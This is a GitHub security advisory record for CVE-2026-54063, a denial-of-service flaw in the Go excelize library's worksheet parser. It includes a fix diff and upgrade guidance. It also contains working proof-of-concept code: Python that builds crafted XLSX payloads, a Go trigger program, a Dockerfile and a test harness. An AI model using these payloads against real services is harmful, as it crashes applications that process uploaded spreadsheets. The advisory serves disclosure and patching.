{"id":"CVE-2026-54063","aliases":["GHSA-h69g-9hx6-f3v4"],"title":"Excelize: Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS)","summary":"Excelize: Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS)","severity":"high","cvss":7.5,"cwe":["CWE-770"],"vendor":"xuri","product":"github.com/xuri/excelize/v2","ecosystem":"go","affected":["github.com/xuri/excelize/v2 < 2.11.0"],"patched":["github.com/xuri/excelize/v2 2.11.0"],"published":"2026-07-10","updated":"2026-07-10","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-h69g-9hx6-f3v4","references":[{"url":"https://github.com/qax-os/excelize/security/advisories/GHSA-h69g-9hx6-f3v4"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54063"},{"url":"https://github.com/qax-os/excelize/releases/tag/v2.11.0"},{"url":"https://github.com/advisories/GHSA-h69g-9hx6-f3v4"}],"tags":["ghsa","go"],"ingestedAt":"2026-07-10T20:06:10.875Z","slug":"CVE-2026-54063","body":"## Overview\n\n## Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS)\n\n### Summary\nThe `checkSheet()` function in `github.com/xuri/excelize/v2` uses an attacker-controlled `<row r=\"N\">` XML attribute value directly as the length argument to `make([]xlsxRow, row)` without validating it against the Excel row limit (`TotalRows = 1,048,576`). A specially crafted XLSX file can trigger two denial-of-service variants: (A) an out-of-memory process kill when `r=2147483647` forces a ~16 GB allocation attempt, and (B) a runtime panic via out-of-bounds slice indexing when `r=-1`. Any service that opens attacker-supplied XLSX files and calls `GetCellValue` is affected. No authentication is required.\n\n### Details\nThe vulnerable code path is triggered by calling `GetCellValue` (or any API that internally invokes `workSheetReader`) on an XLSX file containing a crafted worksheet row element.\n\n**Data flow (source → sink):**\n\n1. `excelize.go:186-193` — `OpenReader` reads attacker-controlled spreadsheet bytes.\n2. `excelize.go:216-223` — ZIP reader is created and passed to `ReadZipReader`.\n3. `lib.go:43-77` — ZIP entries are read into `fileList`; worksheet XML is stored by part name.\n4. `excelize.go:228-229` — XML bytes are stored in `f.Pkg`.\n5. `cell.go:71-79` — Public `GetCellValue` enters the worksheet value-read path.\n6. `cell.go:1492-1494` — `getCellStringFunc` calls `workSheetReader`.\n7. `excelize.go:313-324` — Worksheet XML is decoded into `xlsxWorksheet`.\n8. `xmlWorksheet.go:302-312` — `<row r=\"...\">` is deserialized into `xlsxRow.R int` with no validation (source).\n9. `excelize.go:357-377` — `checkSheet()` accumulates the maximum `r` value; **sink**: `make([]xlsxRow, row)` allocates a slice of that size before any bounds check.\n\n**Vulnerable code (`excelize.go:373-377`):**\n```go\nif r.R != 0 && r.R > row {\n    row = r.R\n}\nsheetData := xlsxSheetData{Row: make([]xlsxRow, row)}  // unbounded allocation\n```\n\nThe constant `TotalRows = 1048576` is defined in `templates.go:190` but is never applied before the `make()` call in `checkSheet()`, leaving the allocation fully attacker-controlled.\n\n**Variant A (`r = 2147483647`):** `make([]xlsxRow, 2147483647)` attempts to allocate approximately 16 GB of memory. The Go runtime terminates the process with `fatal error: runtime: out of memory`.\n\n**Variant B (`r = -1`):** The first loop in `checkSheet()` leaves `row = 0` because the condition `r.R != 0` is false for `r.R = -1`. The second loop then executes `sheetData.Row[r.R-1]`, which evaluates to `sheetData.Row[-2]`, triggering `runtime error: index out of range [-2]` at `excelize.go:381`.\n\nDynamic reproduction confirmed both variants inside a memory-limited Docker container (256 MB). The full panic stack trace for Variant B is:\n```\npanic: runtime error: index out of range [-2]\n\ngoroutine 1 [running]:\ngithub.com/xuri/excelize/v2.(*xlsxWorksheet).checkSheet(...)\n        /excelize/excelize.go:381\ngithub.com/xuri/excelize/v2.(*File).workSheetReader(...)\n        /excelize/excelize.go:329\ngithub.com/xuri/excelize/v2.(*File).getCellStringFunc(...)\n        /excelize/cell.go:1494\ngithub.com/xuri/excelize/v2.(*File).GetCellValue(...)\n        /excelize/cell.go:72\nmain.main.func1(...)\n        /excelize/cmd/poc/main.go:44\nmain.main()\n        /excelize/cmd/poc/main.go:52\n```\n\n**Recommended remediation (`excelize.go`):**\n```diff\n-func (ws *xlsxWorksheet) checkSheet() {\n+func (ws *xlsxWorksheet) checkSheet() error {\n     ...\n         for i := 0; i < len(ws.SheetData.Row); i++ {\n             r := ws.SheetData.Row[i]\n+            if r.R < 0 {\n+                return newInvalidRowNumberError(r.R)\n+            }\n+            if r.R > TotalRows {\n+                return ErrMaxRows\n+            }\n     ...\n     ws.SheetData = *sheetData\n+    return nil\n }\n```\n\n### PoC\n\n**Step 1: Generate the malicious XLSX**\n\n```python\nimport zipfile\n\n# Variant A: OOM   → row = \"2147483647\"\n# Variant B: Panic → row = \"-1\"\nrow = \"-1\"\n\nwith zipfile.ZipFile(\"malicious.xlsx\", \"w\", zipfile.ZIP_DEFLATED) as z:\n    z.writestr(\"[Content_Types].xml\", '''<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Types xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\">\n<Default Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/>\n<Default Extension=\"xml\" ContentType=\"application/xml\"/>\n<Override PartName=\"/xl/workbook.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml\"/>\n<Override PartName=\"/xl/worksheets/sheet1.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml\"/>\n</Types>''')\n    z.writestr(\"_rels/.rels\", '''<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">\n<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\" Target=\"xl/workbook.xml\"/>\n</Relationships>''')\n    z.writestr(\"xl/workbook.xml\", '''<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<workbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\"\n          xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\">\n<sheets><sheet name=\"Sheet1\" sheetId=\"1\" r:id=\"rId1\"/></sheets>\n</workbook>''')\n    z.writestr(\"xl/_rels/workbook.xml.rels\", '''<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">\n<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet\" Target=\"worksheets/sheet1.xml\"/>\n</Relationships>''')\n    z.writestr(\"xl/worksheets/sheet1.xml\", f'''<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<worksheet xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\">\n<sheetData><row r=\"{row}\"><c r=\"A1\"><v>1</v></c></row></sheetData>\n</worksheet>''')\n```\n\n**Step 2: Trigger the vulnerability**\n\n```go\npackage main\n\nimport \"github.com/xuri/excelize/v2\"\n\nfunc main() {\n    f, err := excelize.OpenFile(\"malicious.xlsx\")\n    if err != nil { panic(err) }\n    defer f.Close()\n    _, err = f.GetCellValue(\"Sheet1\", \"A1\")  // triggers checkSheet() → unbounded make()\n    if err != nil { panic(err) }\n}\n```\n\n**Expected results:**\n- Variant A (`r=\"2147483647\"`): process is killed by the OOM killer (`fatal error: runtime: out of memory` or exit code 137).\n- Variant B (`r=\"-1\"`): process panics with `runtime error: index out of range [-2]` at `excelize.go:381` (exit code 2).\n\nBoth variants were confirmed in a Docker container with `--memory 256m --memory-swap 256m`. The malicious XLSX payload is a few hundred bytes.\n\n### Impact\n\nThis is a **Denial-of-Service** vulnerability. An unauthenticated remote attacker can crash or memory-exhaust any Go application that uses `github.com/xuri/excelize/v2` to open attacker-supplied XLSX files and subsequently calls any cell-reading API (`GetCellValue`, `GetRows`, `GetCols`, or any function that internally triggers `workSheetReader`).\n\n**Who is impacted:**\n- Web services with XLSX upload or import endpoints (document processors, data pipelines, BI tools).\n- CLI tools or batch jobs that parse user-supplied spreadsheet files.\n- Any application using the library to handle untrusted XLSX documents.\n\nThe attack requires no authentication and no user interaction beyond uploading a malicious file. The payload is a minimal well-formed ZIP of a few hundred bytes, making it trivial to construct and deliver. Repeated or concurrent exploitation can permanently deny service to all users of the affected application.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001: Unbounded Row Index Allocation in excelize checkSheet()\n# CWE-770 — Allocation of Resources Without Limits or Throttling\n# Target: github.com/xuri/excelize/v2 @ commit f4a068b\n#\n# Exploit path:\n#   GetCellValue -> getCellStringFunc -> workSheetReader -> checkSheet()\n#   In checkSheet() (excelize.go:341-393), the attacker-controlled <row r=\"N\">\n#   attribute is used directly as make([]xlsxRow, row) size with no bounds check.\n#\n# Variant A (r=2147483647): OOM — make([]xlsxRow, 2147483647) exhausts memory\n# Variant B (r=-1):         Panic — second loop does sheetData.Row[-2] (index OOB)\n\nFROM golang:latest AS builder\n\n# Copy the vulnerable excelize library source (serves as the Go module)\nCOPY repo/ /excelize/\n\n# Copy the exploit main package written by poc.py\nCOPY vuln-001/exploit_main.go /excelize/cmd/poc/main.go\n\nWORKDIR /excelize\n\n# Build the exploit binary.\n# -mod=mod: allow Go to update go.sum for any transitive deps.\n# CGO_ENABLED=0: produce a statically-linked binary for the runtime stage.\nRUN CGO_ENABLED=0 GOFLAGS=\"-mod=mod\" go build -o /poc ./cmd/poc/\n\n# Minimal runtime stage (golang image provides a libc for cgo-free binary too)\nFROM golang:latest\nCOPY --from=builder /poc /poc\nENTRYPOINT [\"/poc\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unbounded Row Index Allocation in excelize checkSheet()\nCWE-770 — Allocation of Resources Without Limits or Throttling\nRepository: qax-os/excelize  Commit: f4a068b\n\nExploit mechanism:\n  xlsxWorksheet.checkSheet() (excelize.go:341-393) iterates worksheet rows and\n  uses the attacker-controlled <row r=\"N\"> attribute directly as the length\n  argument to make([]xlsxRow, row) without any bounds validation against\n  TotalRows (1,048,576).\n\n  Variant A (r=2147483647): make([]xlsxRow, 2^31-1) → OOM / fatal error\n  Variant B (r=-1):         first loop leaves row=0; second loop executes\n                            sheetData.Row[-1-1] → runtime panic: index out of range\n\nThis script:\n  1. Writes exploit_main.go (the Go PoC binary source).\n  2. Creates two malicious XLSX files (one per variant).\n  3. Builds the Docker image.\n  4. Runs each variant and captures evidence.\n  5. Writes phase2_result.json with verdict.\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport textwrap\nimport zipfile\n\n# ---------------------------------------------------------------------------\n# Paths\n# ---------------------------------------------------------------------------\nBASE_DIR     = os.path.dirname(os.path.abspath(__file__))\nPARENT_DIR   = os.path.dirname(BASE_DIR)          # Docker build context\nRESULT_FILE  = os.path.join(BASE_DIR, \"phase2_result.json\")\nDOCKERFILE   = os.path.join(BASE_DIR, \"Dockerfile\")\nIMAGE_NAME   = \"excelize-poc-vuln001\"\n\nEXPLOIT_SRC  = os.path.join(BASE_DIR, \"exploit_main.go\")\nPANIC_XLSX   = os.path.join(BASE_DIR, \"row_negative.xlsx\")\nOOM_XLSX     = os.path.join(BASE_DIR, \"row_maxint.xlsx\")\n\n\n# ---------------------------------------------------------------------------\n# Step 1 — Write the Go exploit source\n# ---------------------------------------------------------------------------\nEXPLOIT_GO = textwrap.dedent(\"\"\"\\\n    // exploit_main.go — PoC for VULN-001\n    // Triggers excelize checkSheet() unbounded allocation via malicious XLSX.\n    package main\n\n    import (\n    \\t\"fmt\"\n    \\t\"os\"\n    \\t\"runtime/debug\"\n\n    \\texcelize \"github.com/xuri/excelize/v2\"\n    )\n\n    func main() {\n    \\tif len(os.Args) < 2 {\n    \\t\\tfmt.Fprintln(os.Stderr, \"Usage: poc <xlsx_file>\")\n    \\t\\tos.Exit(1)\n    \\t}\n    \\tpath := os.Args[1]\n    \\tfmt.Printf(\"[*] Opening: %s\\\\n\", path)\n\n    \\t// Wrap the call so we can print a structured panic message before exiting.\n    \\t// The panic itself is the evidence of exploitability.\n    \\tfunc() {\n    \\t\\tdefer func() {\n    \\t\\t\\tif r := recover(); r != nil {\n    \\t\\t\\t\\tfmt.Println(\"[VULN] PANIC CAUGHT — vulnerability confirmed\")\n    \\t\\t\\t\\tfmt.Printf(\"[VULN] panic value: %v\\\\n\", r)\n    \\t\\t\\t\\tfmt.Println(\"[VULN] Stack trace:\")\n    \\t\\t\\t\\tdebug.PrintStack()\n    \\t\\t\\t\\tos.Exit(2) // exit 2 = exploitable crash (panic)\n    \\t\\t\\t}\n    \\t\\t}()\n\n    \\t\\tf, err := excelize.OpenFile(path)\n    \\t\\tif err != nil {\n    \\t\\t\\tfmt.Printf(\"[!] OpenFile error: %v\\\\n\", err)\n    \\t\\t\\tos.Exit(1)\n    \\t\\t}\n    \\t\\tdefer f.Close()\n\n    \\t\\t// GetCellValue → getCellStringFunc → workSheetReader → checkSheet()\n    \\t\\t// checkSheet() is the sink: make([]xlsxRow, row) where row is attacker-controlled.\n    \\t\\tfmt.Println(\"[*] Calling GetCellValue — entering checkSheet() sink\")\n    \\t\\tval, err := f.GetCellValue(\"Sheet1\", \"A1\")\n    \\t\\tif err != nil {\n    \\t\\t\\t// Some errors surface instead of panicking (e.g. allocation failures\n    \\t\\t\\t// that Go converts to errors in some configurations).\n    \\t\\t\\tfmt.Printf(\"[!] GetCellValue error: %v\\\\n\", err)\n    \\t\\t\\tos.Exit(3) // exit 3 = error path (still abnormal)\n    \\t\\t}\n    \\t\\tfmt.Printf(\"[*] GetCellValue returned normally, value=%q (no crash)\\\\n\", val)\n    \\t}()\n    }\n\"\"\")\n\n\ndef write_exploit_source() -> None:\n    with open(EXPLOIT_SRC, \"w\") as fh:\n        fh.write(EXPLOIT_GO)\n    print(f\"[+] Wrote exploit source: {EXPLOIT_SRC}\")\n\n\n# ---------------------------------------------------------------------------\n# Step 2 — Build malicious XLSX files\n# ---------------------------------------------------------------------------\nCONTENT_TYPES = (\n    '<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n    '<Types xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\">'\n    '<Default Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/>'\n    '<Default Extension=\"xml\"  ContentType=\"application/xml\"/>'\n    '<Override PartName=\"/xl/workbook.xml\"'\n    ' ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml\"/>'\n    '<Override PartName=\"/xl/worksheets/sheet1.xml\"'\n    ' ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml\"/>'\n    '</Types>'\n)\n\nRELS = (\n    '<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n    '<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">'\n    '<Relationship Id=\"rId1\"'\n    ' Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\"'\n    ' Target=\"xl/workbook.xml\"/>'\n    '</Relationships>'\n)\n\nWORKBOOK = (\n    '<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n    '<workbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\"'\n    ' xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\">'\n    '<sheets><sheet name=\"Sheet1\" sheetId=\"1\" r:id=\"rId1\"/></sheets>'\n    '</workbook>'\n)\n\nWORKBOOK_RELS = (\n    '<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n    '<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">'\n    '<Relationship Id=\"rId1\"'\n    ' Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet\"'\n    ' Target=\"worksheets/sheet1.xml\"/>'\n    '</Relationships>'\n)\n\n\ndef sheet_xml(row_r: str) -> str:\n    return (\n        '<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n        '<worksheet xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\">'\n        f'<sheetData><row r=\"{row_r}\"><c r=\"A1\"><v>1</v></c></row></sheetData>'\n        '</worksheet>'\n    )\n\n\ndef build_xlsx(path: str, row_r: str) -> None:\n    with zipfile.ZipFile(path, \"w\", zipfile.ZIP_DEFLATED) as z:\n        z.writestr(\"[Content_Types].xml\",        CONTENT_TYPES)\n        z.writestr(\"_rels/.rels\",               RELS)\n        z.writestr(\"xl/workbook.xml\",           WORKBOOK)\n        z.writestr(\"xl/_rels/workbook.xml.rels\", WORKBOOK_RELS)\n        z.writestr(\"xl/worksheets/sheet1.xml\",  sheet_xml(row_r))\n    print(f\"[+] Created {os.path.basename(path)}  (row r={row_r!r})\")\n\n\n# ---------------------------------------------------------------------------\n# Step 3 — Docker helpers\n# ---------------------------------------------------------------------------\ndef run_cmd(cmd: list, timeout: int = 600) -> subprocess.CompletedProcess:\n    print(f\"[>] {' '.join(str(x) for x in cmd)}\")\n    return subprocess.run(\n        cmd,\n        capture_output=True,\n        text=True,\n        timeout=timeout,\n    )\n\n\ndef docker_build() -> tuple[bool, str]:\n    result = run_cmd(\n        [\n            \"docker\", \"build\",\n            \"--no-cache\",\n            \"-f\", DOCKERFILE,\n            \"-t\", IMAGE_NAME,\n            PARENT_DIR,\n        ],\n        timeout=600,\n    )\n    combined = result.stdout + result.stderr\n    if result.returncode != 0:\n        print(f\"[-] docker build FAILED (rc={result.returncode})\")\n        print(combined[-4000:])\n        return False, combined\n    print(\"[+] Docker image built successfully\")\n    return True, combined\n\n\ndef docker_run_variant(label: str, xlsx_path: str, mem: str = \"256m\", timeout: int = 90) -> dict:\n    \"\"\"Run the exploit container against one XLSX file and return analysis dict.\"\"\"\n    cmd = [\n        \"docker\", \"run\", \"--rm\",\n        \"--memory\", mem,\n        \"--memory-swap\", mem,\n        \"-v\", f\"{xlsx_path}:/input.xlsx:ro\",\n        IMAGE_NAME,\n        \"/input.xlsx\",\n    ]\n    run_cmd_str = \" \".join(cmd)\n    try:\n        result = run_cmd(cmd, timeout=timeout)\n        rc = result.returncode\n        stdout = result.stdout or \"\"\n        stderr = result.stderr or \"\"\n    except subprocess.TimeoutExpired:\n        rc = -99\n        stdout = \"\"\n        stderr = f\"TIMEOUT after {timeout}s\"\n\n    combined = stdout + stderr\n    print(f\"\\n--- {label} ---\")\n    print(f\"  exit code : {rc}\")\n    print(f\"  stdout    : {stdout[:1200]}\")\n    print(f\"  stderr    : {stderr[:1200]}\")\n\n    is_panic = any(kw in combined for kw in (\n        \"index out of range\",\n        \"PANIC CAUGHT\",\n        \"runtime error\",\n        \"goroutine \",\n        \"panic:\",\n    ))\n    is_oom = any(kw in combined for kw in (\n        \"out of memory\",\n        \"cannot allocate\",\n        \"fatal error\",\n        \"makeslice\",\n    )) or rc == 137\n\n    # exit 2 = panic caught; exit 137 = OOM kill; exit 3 = error path\n    crashed = rc != 0 and (is_panic or is_oom or rc in (2, 3, 137))\n\n    return {\n        \"label\":    label,\n        \"rc\":       rc,\n        \"is_panic\": is_panic,\n        \"is_oom\":   is_oom,\n        \"crashed\":  crashed,\n        \"run_cmd\":  run_cmd_str,\n        \"snippet\":  combined[:1500].strip(),\n    }\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\ndef main() -> None:\n    print(\"=\" * 65)\n    print(\"VULN-001 PoC — excelize checkSheet() unbounded allocation DoS\")\n    print(\"=\" * 65)\n\n    # 1. Write Go exploit source (needed before docker build)\n    write_exploit_source()\n\n    # 2. Create malicious XLSX payloads\n    build_xlsx(PANIC_XLSX, \"-1\")          # Variant B: index OOB panic\n    build_xlsx(OOM_XLSX,   \"2147483647\")  # Variant A: 2 GB+ make() → OOM\n\n    # 3. Build Docker image\n    build_cmd = (\n        f\"docker build --no-cache -f {DOCKERFILE} -t {IMAGE_NAME} {PARENT_DIR}\"\n    )\n    build_ok, build_out = docker_build()\n    if not build_ok:\n        payload = {\n            \"passed\":        False,\n            \"verdict\":       \"FAIL\",\n            \"reason\":        (\n                \"Docker 이미지 빌드에 실패했습니다. golang:latest 이미지가 go.mod의 \"\n                \"'go 1.25.0' 요건을 충족하지 않을 수 있습니다. Dockerfile에서 \"\n                \"'golang:1.25' 등 명시적 버전 태그로 교체 후 재시도 바랍니다.\"\n            ),\n            \"build_command\": build_cmd,\n            \"run_command\":   \"\",\n            \"poc_command\":   f\"python3 {os.path.abspath(__file__)}\",\n            \"evidence\":      build_out[-2000:],\n            \"artifacts\":     [\"Dockerfile\", \"poc.py\"],\n        }\n        with open(RESULT_FILE, \"w\") as fh:\n            json.dump(payload, fh, indent=2, ensure_ascii=False)\n        print(f\"\\n[!] FAIL result → {RESULT_FILE}\")\n        sys.exit(1)\n\n    # 4. Run both variants\n    ev_panic = docker_run_variant(\n        \"Variant B — r=-1 (index out of range panic)\", PANIC_XLSX, mem=\"256m\")\n    ev_oom   = docker_run_variant(\n        \"Variant A — r=2147483647 (OOM)\",              OOM_XLSX,   mem=\"256m\")\n\n    # 5. Verdict\n    passed = ev_panic[\"crashed\"] or ev_oom[\"crashed\"]\n\n    if ev_panic[\"crashed\"]:\n        primary, primary_ev = \"B (r=-1, panic)\", ev_panic\n    elif ev_oom[\"crashed\"]:\n        primary, primary_ev = \"A (r=2147483647, OOM)\", ev_oom\n    else:\n        primary, primary_ev = \"B (r=-1, panic)\", ev_panic  # best-effort\n\n    if passed:\n        reason = (\n            f\"실행 결과 비정상 종료 확인됨 (주요 variant: {primary}). \"\n            f\"Variant B(r=-1): rc={ev_panic['rc']}, panic={ev_panic['is_panic']}; \"\n            f\"Variant A(r=2147483647): rc={ev_oom['rc']}, oom={ev_oom['is_oom']}. \"\n            \"excelize.go:377 make([]xlsxRow, row)에 대한 bounds 검증 부재가 \"\n            \"컨테이너 내 실제 DoS(패닉/OOM)를 유발함을 실행으로 증명.\"\n        )\n        verdict = \"PASS\"\n    else:\n        reason = (\n            \"컨테이너 실행이 완료되었으나 충돌(패닉/OOM) 증거가 관측되지 않음. \"\n            f\"Variant B rc={ev_panic['rc']}, Variant A rc={ev_oom['rc']}. \"\n            \"가능한 원인: (1) Go 런타임이 make() 실패를 panic 대신 error로 반환, \"\n            \"(2) 메모리 한도 초과 전 OOM killer가 작동하지 않음. \"\n            \"다음을 시도: --memory 64m으로 재실행, 또는 호스트에서 직접 Go 빌드 후 실행.\"\n        )\n        verdict = \"FAIL\"\n\n    phase2 = {\n        \"passed\":        passed,\n        \"verdict\":       verdict,\n        \"reason\":        reason,\n        \"build_command\": build_cmd,\n        \"run_command\":   primary_ev[\"run_cmd\"],\n        \"poc_command\":   f\"python3 {os.path.abspath(__file__)}\",\n        \"evidence\":      primary_ev[\"snippet\"],\n        \"artifacts\":     [\"Dockerfile\", \"poc.py\"],\n    }\n\n    with open(RESULT_FILE, \"w\") as fh:\n        json.dump(phase2, fh, indent=2, ensure_ascii=False)\n\n    print(f\"\\n{'='*65}\")\n    print(f\"Verdict : {verdict}  (passed={passed})\")\n    print(f\"Result  → {RESULT_FILE}\")\n    print(\"=\" * 65)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## Affected packages\n\n- `github.com/xuri/excelize/v2 < 2.11.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/xuri/excelize/v2 2.11.0`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}